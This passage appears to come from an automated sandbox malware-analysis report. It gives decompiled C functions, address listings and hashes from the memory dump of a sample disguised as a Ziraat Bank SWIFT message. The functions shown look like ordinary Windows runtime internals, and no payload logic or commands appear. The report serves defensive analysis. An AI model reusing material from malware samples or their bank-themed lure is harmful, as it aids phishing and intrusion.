                                                                        0x012b3e25
                                                                        0x012b3e28
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012b3e2a
                                                                        0x012b3e2f
                                                                        0x012b3e37
                                                                        0x012b3e37
                                                                        0x00000000
                                                                        0x012b3e37
                                                                        0x012b3e31
                                                                        0x00000000
                                                                        0x012b3e31
                                                                        0x012b3e20
                                                                        0x012b3e20
                                                                        0x012b3e35
                                                                        0x00000000
                                                                        0x012b3de9
                                                                        0x012b3de9
                                                                        0x012b3de9
                                                                        0x012b3dee
                                                                        0x012b3dfd
                                                                        0x012b3dff
                                                                        0x012b3e02
                                                                        0x012b3e05
                                                                        0x012b3e05
                                                                        0x00000000
                                                                        0x012b3df0
                                                                        0x012b3de7
                                                                        0x012ee78f
                                                                        0x012ee794
                                                                        0x012b3d79
                                                                        0x012b3d84
                                                                        0x012b3d89
                                                                        0x012b3d8e
                                                                        0x00000000
                                                                        0x012ee7a4
                                                                        0x012b3d96
                                                                        0x012b3d9a
                                                                        0x00000000
                                                                        0x012b3d9a
                                                                        0x00000000
                                                                        0x012ee794
                                                                        0x012b3d6e
                                                                        0x012b3d73
                                                                        0x00000000
                                                                        0x012ee7b5
                                                                        0x00000000

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: f90bbb270a377c7bc8fe1dabc7d21cc46c67c69418cfb49432ddc556c2544d13
                                                                        • Instruction ID: 97275250fb1eba793a9c64914d572946b90c8bea0bc1d51725ba63a877fc8ba2
                                                                        • Opcode Fuzzy Hash: f90bbb270a377c7bc8fe1dabc7d21cc46c67c69418cfb49432ddc556c2544d13
                                                                        • Instruction Fuzzy Hash: 9731B031621616DBDB29CF2DC882ABABBF5FF55780705806AEA49CB350E770D840C790
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012AA61C Relevance: .1, Instructions: 106COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 78%
                                                                        			E012AA61C(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t35;
				intOrPtr _t39;
				intOrPtr _t45;
				intOrPtr* _t51;
				intOrPtr* _t52;
				intOrPtr* _t55;
				signed int _t57;
				intOrPtr* _t59;
				intOrPtr _t68;
				intOrPtr* _t77;
				void* _t79;
				signed int _t80;
				intOrPtr _t81;
				char* _t82;
				void* _t83;

				_push(0x24);
				_push(0x1350220);
				E012CD08C(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t83 - 0x30)) = __edx;
				_t79 = __ecx;
				_t35 =  *0x1367b9c; // 0x0
				_t55 = L01294620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t35 + 0xc0000, 0x28);
				 *((intOrPtr*)(_t83 - 0x24)) = _t55;
				if(_t55 == 0) {
					_t39 = 0xc0000017;
					L11:
					return E012CD0D1(_t39);
				}
				_t68 = 0;
				 *((intOrPtr*)(_t83 - 0x1c)) = 0;
				 *(_t83 - 4) =  *(_t83 - 4) & 0;
				_t7 = _t55 + 8; // 0x8
				_t57 = 6;
				memcpy(_t7, _t79, _t57 << 2);
				_t80 = 0xfffffffe;
				 *(_t83 - 4) = _t80;
				if(0 < 0) {
					L14:
					_t81 =  *((intOrPtr*)(_t83 - 0x1c));
					L20:
					L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t55);
					_t39 = _t81;
					goto L11;
				}
				if( *((intOrPtr*)(_t55 + 0xc)) <  *(_t55 + 8)) {
					_t81 = 0xc000007b;
					goto L20;
				}
				if( *((intOrPtr*)(_t83 + 0xc)) == 0) {
					_t59 =  *((intOrPtr*)(_t83 + 8));
					_t45 =  *_t59;
					 *((intOrPtr*)(_t83 - 0x20)) = _t45;
					 *_t59 = _t45 + 1;
					L6:
					 *(_t83 - 4) = 1;
					 *((intOrPtr*)( *((intOrPtr*)(_t55 + 0x10)))) =  *((intOrPtr*)(_t83 - 0x20));
					 *(_t83 - 4) = _t80;
					if(_t68 < 0) {
						_t82 =  *((intOrPtr*)(_t83 + 0xc));
						if(_t82 == 0) {
							goto L14;
						}
						asm("btr eax, ecx");
						_t81 =  *((intOrPtr*)(_t83 - 0x1c));
						if( *_t82 != 0) {
							 *0x1367b10 =  *0x1367b10 - 8;
						}
						goto L20;
					}
					 *((intOrPtr*)(_t55 + 0x24)) =  *((intOrPtr*)(_t83 - 0x20));
					 *((intOrPtr*)(_t55 + 0x20)) =  *((intOrPtr*)(_t83 - 0x30));
					_t51 =  *0x136536c; // 0x77e15368
					if( *_t51 != 0x1365368) {
						_push(3);
						asm("int 0x29");
						goto L14;
					}
					 *_t55 = 0x1365368;
					 *((intOrPtr*)(_t55 + 4)) = _t51;
					 *_t51 = _t55;
					 *0x136536c = _t55;
					_t52 =  *((intOrPtr*)(_t83 + 0x10));
					if(_t52 != 0) {
						 *_t52 = _t55;
					}
					_t39 = 0;
					goto L11;
				}
				_t77 =  *((intOrPtr*)(_t83 + 8));
				_t68 = E012AA70E(_t77,  *((intOrPtr*)(_t83 + 0xc)));
				 *((intOrPtr*)(_t83 - 0x1c)) = _t68;
				if(_t68 < 0) {
					goto L14;
				}
				 *((intOrPtr*)(_t83 - 0x20)) =  *_t77;
				goto L6;
			}


















                                                                        0x012aa61c
                                                                        0x012aa61e
                                                                        0x012aa623
                                                                        0x012aa628
                                                                        0x012aa62b
                                                                        0x012aa62d
                                                                        0x012aa648
                                                                        0x012aa64a
                                                                        0x012aa64f
                                                                        0x012e9b44
                                                                        0x012aa6ec
                                                                        0x012aa6f1
                                                                        0x012aa6f1
                                                                        0x012aa655
                                                                        0x012aa657
                                                                        0x012aa65a
                                                                        0x012aa65d
                                                                        0x012aa662
                                                                        0x012aa663
                                                                        0x012aa667
                                                                        0x012aa668
                                                                        0x012aa66d
                                                                        0x012aa706
                                                                        0x012aa706
                                                                        0x012e9bda
                                                                        0x012e9be6
                                                                        0x012e9beb
                                                                        0x00000000
                                                                        0x012e9beb
                                                                        0x012aa679
                                                                        0x012e9b7a
                                                                        0x00000000
                                                                        0x012e9b7a
                                                                        0x012aa683
                                                                        0x012aa6f4
                                                                        0x012aa6f7
                                                                        0x012aa6f9
                                                                        0x012aa6fd
                                                                        0x012aa6a0
                                                                        0x012aa6a0
                                                                        0x012aa6ad
                                                                        0x012aa6af
                                                                        0x012aa6b4
                                                                        0x012e9ba7
                                                                        0x012e9bac
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e9bc6
                                                                        0x012e9bce
                                                                        0x012e9bd1
                                                                        0x012e9bd3
                                                                        0x012e9bd3
                                                                        0x00000000
                                                                        0x012e9bd1
                                                                        0x012aa6bd
                                                                        0x012aa6c3
                                                                        0x012aa6c6
                                                                        0x012aa6d2
                                                                        0x012aa701
                                                                        0x012aa704
                                                                        0x00000000
                                                                        0x012aa704
                                                                        0x012aa6d4
                                                                        0x012aa6d6
                                                                        0x012aa6d9
                                                                        0x012aa6db
                                                                        0x012aa6e1
                                                                        0x012aa6e6
                                                                        0x012aa6e8
                                                                        0x012aa6e8
                                                                        0x012aa6ea
                                                                        0x00000000
                                                                        0x012aa6ea
                                                                        0x012aa688
                                                                        0x012aa692
                                                                        0x012aa694
                                                                        0x012aa699
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012aa69d
                                                                        0x00000000

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 5146c47f666092e8647a85df75f2b095a9ef4ed8aadfc809448eab35dc029cd1
                                                                        • Instruction ID: 85cc5edf37cff6bc83123a9a4051d03b12bb1385fb394ea5d5ee41503c222992
                                                                        • Opcode Fuzzy Hash: 5146c47f666092e8647a85df75f2b095a9ef4ed8aadfc809448eab35dc029cd1
                                                                        • Instruction Fuzzy Hash: 2E416975A20206DFCF19CF58C880BA9BBF1BF49704F54816AEA05AB344D774A941CF90
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0129C182 Relevance: .1, Instructions: 104COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 68%
                                                                        			E0129C182(void* __ecx, unsigned int* __edx, intOrPtr _a4) {
				signed int* _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				signed char _t33;
				signed char _t43;
				signed char _t48;
				signed char _t62;
				void* _t63;
				intOrPtr _t69;
				intOrPtr _t71;
				unsigned int* _t82;
				void* _t83;

				_t80 = __ecx;
				_t82 = __edx;
				_t33 =  *((intOrPtr*)(__ecx + 0xde));
				_t62 = _t33 >> 0x00000001 & 0x00000001;
				if((_t33 & 0x00000001) != 0) {
					_v8 = ((0 | _t62 != 0x00000000) - 0x00000001 & 0x00000048) + 8 + __edx;
					if(E01297D50() != 0) {
						_t43 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					} else {
						_t43 = 0x7ffe0386;
					}
					if( *_t43 != 0) {
						_t43 = E01348D34(_v8, _t80);
					}
					E01292280(_t43, _t82);
					if( *((char*)(_t80 + 0xdc)) == 0) {
						E0128FFB0(_t62, _t80, _t82);
						 *(_t80 + 0xde) =  *(_t80 + 0xde) | 0x00000004;
						_t30 = _t80 + 0xd0; // 0xd0
						_t83 = _t30;
						E01348833(_t83,  &_v16);
						_t81 = _t80 + 0x90;
						E0128FFB0(_t62, _t80 + 0x90, _t80 + 0x90);
						_t63 = 0;
						_push(0);
						_push(_t83);
						_t48 = E012BB180();
						if(_a4 != 0) {
							E01292280(_t48, _t81);
						}
					} else {
						_t69 = _v8;
						_t12 = _t80 + 0x98; // 0x98
						_t13 = _t69 + 0xc; // 0x575651ff
						E0129BB2D(_t13, _t12);
						_t71 = _v8;
						_t15 = _t80 + 0xb0; // 0xb0
						_t16 = _t71 + 8; // 0x8b000cc2
						E0129BB2D(_t16, _t15);
						E0129B944(_v8, _t62);
						 *((char*)(_t80 + 0xdc)) = 0;
						E0128FFB0(0, _t80, _t82);
						 *((intOrPtr*)(_t80 + 0xd8)) = 0;
						 *((intOrPtr*)(_t80 + 0xc8)) = 0;
						 *((intOrPtr*)(_t80 + 0xcc)) = 0;
						 *(_t80 + 0xde) = 0;
						if(_a4 == 0) {
							_t25 = _t80 + 0x90; // 0x90
							E0128FFB0(0, _t80, _t25);
						}
						_t63 = 1;
					}
					return _t63;
				}
				 *((intOrPtr*)(__ecx + 0xc8)) = 0;
				 *((intOrPtr*)(__ecx + 0xcc)) = 0;
				if(_a4 == 0) {
					_t24 = _t80 + 0x90; // 0x90
					E0128FFB0(0, __ecx, _t24);
				}
				return 0;
			}
















                                                                        0x0129c18d
                                                                        0x0129c18f
                                                                        0x0129c191
                                                                        0x0129c19b
                                                                        0x0129c1a0
                                                                        0x0129c1d4
                                                                        0x0129c1de
                                                                        0x012e2d6e
                                                                        0x0129c1e4
                                                                        0x0129c1e4
                                                                        0x0129c1e4
                                                                        0x0129c1ec
                                                                        0x012e2d7d
                                                                        0x012e2d7d
                                                                        0x0129c1f3
                                                                        0x0129c1ff
                                                                        0x012e2d88
                                                                        0x012e2d8d
                                                                        0x012e2d94
                                                                        0x012e2d94
                                                                        0x012e2d9f
                                                                        0x012e2da4
                                                                        0x012e2dab
                                                                        0x012e2db0
                                                                        0x012e2db2
                                                                        0x012e2db3
                                                                        0x012e2db4
                                                                        0x012e2dbc
                                                                        0x012e2dc3
                                                                        0x012e2dc3
                                                                        0x0129c205
                                                                        0x0129c205
                                                                        0x0129c208
                                                                        0x0129c20e
                                                                        0x0129c211
                                                                        0x0129c216
                                                                        0x0129c219
                                                                        0x0129c21f
                                                                        0x0129c222
                                                                        0x0129c22c
                                                                        0x0129c234
                                                                        0x0129c23a
                                                                        0x0129c23f
                                                                        0x0129c245
                                                                        0x0129c24b
                                                                        0x0129c251
                                                                        0x0129c25a
                                                                        0x0129c276
                                                                        0x0129c27d
                                                                        0x0129c27d
                                                                        0x0129c25c
                                                                        0x0129c25c
                                                                        0x00000000
                                                                        0x0129c25e
                                                                        0x0129c1a4
                                                                        0x0129c1aa
                                                                        0x0129c1b3
                                                                        0x0129c265
                                                                        0x0129c26c
                                                                        0x0129c26c
                                                                        0x00000000

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
                                                                        • Instruction ID: c3a412f2be419744b94fec1711235719710d5f2250e6b97cc5f28af68da7deac
                                                                        • Opcode Fuzzy Hash: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
                                                                        • Instruction Fuzzy Hash: B7315771A21587BFDB04EBBCC490BF9FB94BF62204F0441AAC51C57241DB356A15CBE0
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012F7016 Relevance: .1, Instructions: 104COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 76%
                                                                        			E012F7016(short __ecx, intOrPtr __edx, char _a4, char _a8, signed short* _a12, signed short* _a16) {
				signed int _v8;
				char _v588;
				intOrPtr _v592;
				intOrPtr _v596;
				signed short* _v600;
				char _v604;
				short _v606;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short* _t55;
				void* _t56;
				signed short* _t58;
				signed char* _t61;
				char* _t68;
				void* _t69;
				void* _t71;
				void* _t72;
				signed int _t75;

				_t64 = __edx;
				_t77 = (_t75 & 0xfffffff8) - 0x25c;
				_v8 =  *0x136d360 ^ (_t75 & 0xfffffff8) - 0x0000025c;
				_t55 = _a16;
				_v606 = __ecx;
				_t71 = 0;
				_t58 = _a12;
				_v596 = __edx;
				_v600 = _t58;
				_t68 =  &_v588;
				if(_t58 != 0) {
					_t71 = ( *_t58 & 0x0000ffff) + 2;
					if(_t55 != 0) {
						_t71 = _t71 + ( *_t55 & 0x0000ffff) + 2;
					}
				}
				_t8 = _t71 + 0x2a; // 0x28
				_t33 = _t8;
				_v592 = _t8;
				if(_t71 <= 0x214) {
					L6:
					 *((short*)(_t68 + 6)) = _v606;
					if(_t64 != 0xffffffff) {
						asm("cdq");
						 *((intOrPtr*)(_t68 + 0x20)) = _t64;
						 *((char*)(_t68 + 0x28)) = _a4;
						 *((intOrPtr*)(_t68 + 0x24)) = _t64;
						 *((char*)(_t68 + 0x29)) = _a8;
						if(_t71 != 0) {
							_t22 = _t68 + 0x2a; // 0x2a
							_t64 = _t22;
							E012F6B4C(_t58, _t22, _t71,  &_v604);
							if(_t55 != 0) {
								_t25 = _v604 + 0x2a; // 0x2a
								_t64 = _t25 + _t68;
								E012F6B4C(_t55, _t25 + _t68, _t71 - _v604,  &_v604);
							}
							if(E01297D50() == 0) {
								_t61 = 0x7ffe0384;
							} else {
								_t61 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
							}
							_push(_t68);
							_push(_v592 + 0xffffffe0);
							_push(0x402);
							_push( *_t61 & 0x000000ff);
							E012B9AE0();
						}
					}
					_t35 =  &_v588;
					if( &_v588 != _t68) {
						_t35 = L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t68);
					}
					L16:
					_pop(_t69);
					_pop(_t72);
					_pop(_t56);
					return E012BB640(_t35, _t56, _v8 ^ _t77, _t64, _t69, _t72);
				}
				_t68 = L01294620(_t58,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t33);
				if(_t68 == 0) {
					goto L16;
				} else {
					_t58 = _v600;
					_t64 = _v596;
					goto L6;
				}
			}






















                                                                        0x012f7016
                                                                        0x012f701e
                                                                        0x012f702b
                                                                        0x012f7033
                                                                        0x012f7037
                                                                        0x012f703c
                                                                        0x012f703e
                                                                        0x012f7041
                                                                        0x012f7045
                                                                        0x012f704a
                                                                        0x012f7050
                                                                        0x012f7055
                                                                        0x012f705a
                                                                        0x012f7062
                                                                        0x012f7062
                                                                        0x012f705a
                                                                        0x012f7064
                                                                        0x012f7064
                                                                        0x012f7067
                                                                        0x012f7071
                                                                        0x012f7096
                                                                        0x012f709b
                                                                        0x012f70a2
                                                                        0x012f70a6
                                                                        0x012f70a7
                                                                        0x012f70ad
                                                                        0x012f70b3
                                                                        0x012f70b6
                                                                        0x012f70bb
                                                                        0x012f70c3
                                                                        0x012f70c3
                                                                        0x012f70c6
                                                                        0x012f70cd
                                                                        0x012f70dd
                                                                        0x012f70e0
                                                                        0x012f70e2
                                                                        0x012f70e2
                                                                        0x012f70ee
                                                                        0x012f7101
                                                                        0x012f70f0
                                                                        0x012f70f9
                                                                        0x012f70f9
                                                                        0x012f710a
                                                                        0x012f710e
                                                                        0x012f7112
                                                                        0x012f7117
                                                                        0x012f7118
                                                                        0x012f7118
                                                                        0x012f70bb
                                                                        0x012f711d
                                                                        0x012f7123
                                                                        0x012f7131
                                                                        0x012f7131
                                                                        0x012f7136
                                                                        0x012f713d
                                                                        0x012f713e
                                                                        0x012f713f
                                                                        0x012f714a
                                                                        0x012f714a
                                                                        0x012f7084
                                                                        0x012f7088
                                                                        0x00000000
                                                                        0x012f708e
                                                                        0x012f708e
                                                                        0x012f7092
                                                                        0x00000000
                                                                        0x012f7092

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 152d6ab09171c5add81e234ebb99a039f99d108ce094be75af68057052235560
                                                                        • Instruction ID: f7f7530bc80efa391b6d4b9ee5175ee9c0150528bb322c7a199597b80f6842c1
                                                                        • Opcode Fuzzy Hash: 152d6ab09171c5add81e234ebb99a039f99d108ce094be75af68057052235560
                                                                        • Instruction Fuzzy Hash: E931B5726147529FD720DF2CC940A6BB7E9FF98700F044A2DFA9597690E730E904CBA5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012AA70E Relevance: .1, Instructions: 96COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 92%
                                                                        			E012AA70E(intOrPtr* __ecx, char* __edx) {
				unsigned int _v8;
				intOrPtr* _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t16;
				intOrPtr _t17;
				intOrPtr _t28;
				char* _t33;
				intOrPtr _t37;
				intOrPtr _t38;
				void* _t50;
				intOrPtr _t52;

				_push(__ecx);
				_push(__ecx);
				_t52 =  *0x1367b10; // 0x0
				_t33 = __edx;
				_t48 = __ecx;
				_v12 = __ecx;
				if(_t52 == 0) {
					 *0x1367b10 = 8;
					 *0x1367b14 = 0x1367b0c;
					 *0x1367b18 = 1;
					L6:
					_t2 = _t52 + 1; // 0x1
					E012AA990(0x1367b10, _t2, 7);
					asm("bts ecx, eax");
					 *_t48 = _t52;
					 *_t33 = 1;
					L3:
					_t16 = 0;
					L4:
					return _t16;
				}
				_t17 = L012AA840(__edx, __ecx, __ecx, _t52, 0x1367b10, 1, 0);
				if(_t17 == 0xffffffff) {
					_t37 =  *0x1367b10; // 0x0
					_t3 = _t37 + 0x27; // 0x27
					__eflags = _t3 >> 5 -  *0x1367b18; // 0x0
					if(__eflags > 0) {
						_t38 =  *0x1367b9c; // 0x0
						_t4 = _t52 + 0x27; // 0x27
						_v8 = _t4 >> 5;
						_t50 = L01294620(_t38 + 0xc0000,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t38 + 0xc0000, _t4 >> 5 << 2);
						__eflags = _t50;
						if(_t50 == 0) {
							_t16 = 0xc0000017;
							goto L4;
						}
						 *0x1367b18 = _v8;
						_t8 = _t52 + 7; // 0x7
						E012BF3E0(_t50,  *0x1367b14, _t8 >> 3);
						_t28 =  *0x1367b14; // 0x0
						__eflags = _t28 - 0x1367b0c;
						if(_t28 != 0x1367b0c) {
							L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t28);
						}
						_t9 = _t52 + 8; // 0x8
						 *0x1367b14 = _t50;
						_t48 = _v12;
						 *0x1367b10 = _t9;
						goto L6;
					}
					 *0x1367b10 = _t37 + 8;
					goto L6;
				}
				 *__ecx = _t17;
				 *_t33 = 0;
				goto L3;
			}
















                                                                        0x012aa713
                                                                        0x012aa714
                                                                        0x012aa717
                                                                        0x012aa71d
                                                                        0x012aa720
                                                                        0x012aa722
                                                                        0x012aa727
                                                                        0x012aa74a
                                                                        0x012aa754
                                                                        0x012aa75e
                                                                        0x012aa768
                                                                        0x012aa76a
                                                                        0x012aa773
                                                                        0x012aa78b
                                                                        0x012aa790
                                                                        0x012aa792
                                                                        0x012aa741
                                                                        0x012aa741
                                                                        0x012aa743
                                                                        0x012aa749
                                                                        0x012aa749
                                                                        0x012aa732
                                                                        0x012aa73a
                                                                        0x012aa797
                                                                        0x012aa79d
                                                                        0x012aa7a3
                                                                        0x012aa7a9
                                                                        0x012aa7b6
                                                                        0x012aa7bc
                                                                        0x012aa7ca
                                                                        0x012aa7e0
                                                                        0x012aa7e2
                                                                        0x012aa7e4
                                                                        0x012e9bf2
                                                                        0x00000000
                                                                        0x012e9bf2
                                                                        0x012aa7ed
                                                                        0x012aa7f2
                                                                        0x012aa800
                                                                        0x012aa805
                                                                        0x012aa80d
                                                                        0x012aa812
                                                                        0x012e9c08
                                                                        0x012e9c08
                                                                        0x012aa818
                                                                        0x012aa81b
                                                                        0x012aa821
                                                                        0x012aa824
                                                                        0x00000000
                                                                        0x012aa824
                                                                        0x012aa7ae
                                                                        0x00000000
                                                                        0x012aa7ae
                                                                        0x012aa73c
                                                                        0x012aa73e
                                                                        0x00000000

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: d61a8cb619f265f70569a0f937d16ad29df10a003d4ef29129a53ef05e137984
                                                                        • Instruction ID: aa6d98de7ae537791b39d78ab39b57cb60a385d7c7babd484ca565a962187b2a
                                                                        • Opcode Fuzzy Hash: d61a8cb619f265f70569a0f937d16ad29df10a003d4ef29129a53ef05e137984
                                                                        • Instruction Fuzzy Hash: 5331CFB16202029FD725CF18DC81F6ABFFDFB84718F94895AE206C7254D7B0A951CBA1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012A61A0 Relevance: .1, Instructions: 93COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 97%
                                                                        			E012A61A0(signed int* __ecx) {
				intOrPtr _v8;
				char _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				intOrPtr _t30;
				intOrPtr _t31;
				void* _t32;
				intOrPtr _t33;
				intOrPtr _t37;
				intOrPtr _t49;
				signed int _t51;
				intOrPtr _t52;
				signed int _t54;
				void* _t59;
				signed int* _t61;
				intOrPtr* _t64;

				_t61 = __ecx;
				_v12 = 0;
				_t30 =  *((intOrPtr*)( *[fs:0x30] + 0x1e8));
				_v16 = __ecx;
				_v8 = 0;
				if(_t30 == 0) {
					L6:
					_t31 = 0;
					L7:
					return _t31;
				}
				_t32 = _t30 + 0x5d8;
				if(_t32 == 0) {
					goto L6;
				}
				_t59 = _t32 + 0x30;
				if( *((intOrPtr*)(_t32 + 0x30)) == 0) {
					goto L6;
				}
				if(__ecx != 0) {
					 *((intOrPtr*)(__ecx)) = 0;
					 *((intOrPtr*)(__ecx + 4)) = 0;
				}
				if( *((intOrPtr*)(_t32 + 0xc)) != 0) {
					_t51 =  *(_t32 + 0x10);
					_t33 = _t32 + 0x10;
					_v20 = _t33;
					_t54 =  *(_t33 + 4);
					if((_t51 | _t54) == 0) {
						_t37 = E012A5E50(0x12567cc, 0, 0,  &_v12);
						if(_t37 != 0) {
							goto L6;
						}
						_t52 = _v8;
						asm("lock cmpxchg8b [esi]");
						_t64 = _v16;
						_t49 = _t37;
						_v20 = 0;
						if(_t37 == 0) {
							if(_t64 != 0) {
								 *_t64 = _v12;
								 *((intOrPtr*)(_t64 + 4)) = _t52;
							}
							E01349D2E(_t59, 0, _v12, _v8,  *( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38) & 0x0000ffff,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x3c)));
							_t31 = 1;
							goto L7;
						}
						E0127F7C0(_t52, _v12, _t52, 0);
						if(_t64 != 0) {
							 *_t64 = _t49;
							 *((intOrPtr*)(_t64 + 4)) = _v20;
						}
						L12:
						_t31 = 1;
						goto L7;
					}
					if(_t61 != 0) {
						 *_t61 = _t51;
						_t61[1] = _t54;
					}
					goto L12;
				} else {
					goto L6;
				}
			}



















                                                                        0x012a61b3
                                                                        0x012a61b5
                                                                        0x012a61bd
                                                                        0x012a61c3
                                                                        0x012a61c7
                                                                        0x012a61d2
                                                                        0x012a61ff
                                                                        0x012a61ff
                                                                        0x012a6201
                                                                        0x012a6207
                                                                        0x012a6207
                                                                        0x012a61d4
                                                                        0x012a61d9
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012a61df
                                                                        0x012a61e2
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012a61e6
                                                                        0x012a61e8
                                                                        0x012a61ee
                                                                        0x012a61ee
                                                                        0x012a61f9
                                                                        0x012e762f
                                                                        0x012e7632
                                                                        0x012e7635
                                                                        0x012e7639
                                                                        0x012e7640
                                                                        0x012e766e
                                                                        0x012e7675
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e7681
                                                                        0x012e7689
                                                                        0x012e768d
                                                                        0x012e7691
                                                                        0x012e7695
                                                                        0x012e7699
                                                                        0x012e76af
                                                                        0x012e76b5
                                                                        0x012e76b7
                                                                        0x012e76b7
                                                                        0x012e76d7
                                                                        0x012e76dc
                                                                        0x00000000
                                                                        0x012e76dc
                                                                        0x012e76a2
                                                                        0x012e76a9
                                                                        0x012e7651
                                                                        0x012e7653
                                                                        0x012e7653
                                                                        0x012e7656
                                                                        0x012e7656
                                                                        0x00000000
                                                                        0x012e7656
                                                                        0x012e7644
                                                                        0x012e7646
                                                                        0x012e7648
                                                                        0x012e7648
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: a4939285c62443d7aa23bd9facdcec7c9667879309440dfcb8b06d4d4b3f4c4b
                                                                        • Instruction ID: ca9e38d1c51314a9deb992e9185c27dd0555c01ff0bcf7e86abfb24f65cf436c
                                                                        • Opcode Fuzzy Hash: a4939285c62443d7aa23bd9facdcec7c9667879309440dfcb8b06d4d4b3f4c4b
                                                                        • Instruction Fuzzy Hash: 693181716253028FE360CF1DC944B26BBE5FB88B04F89496EEA9497351E7B0E804CBD1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

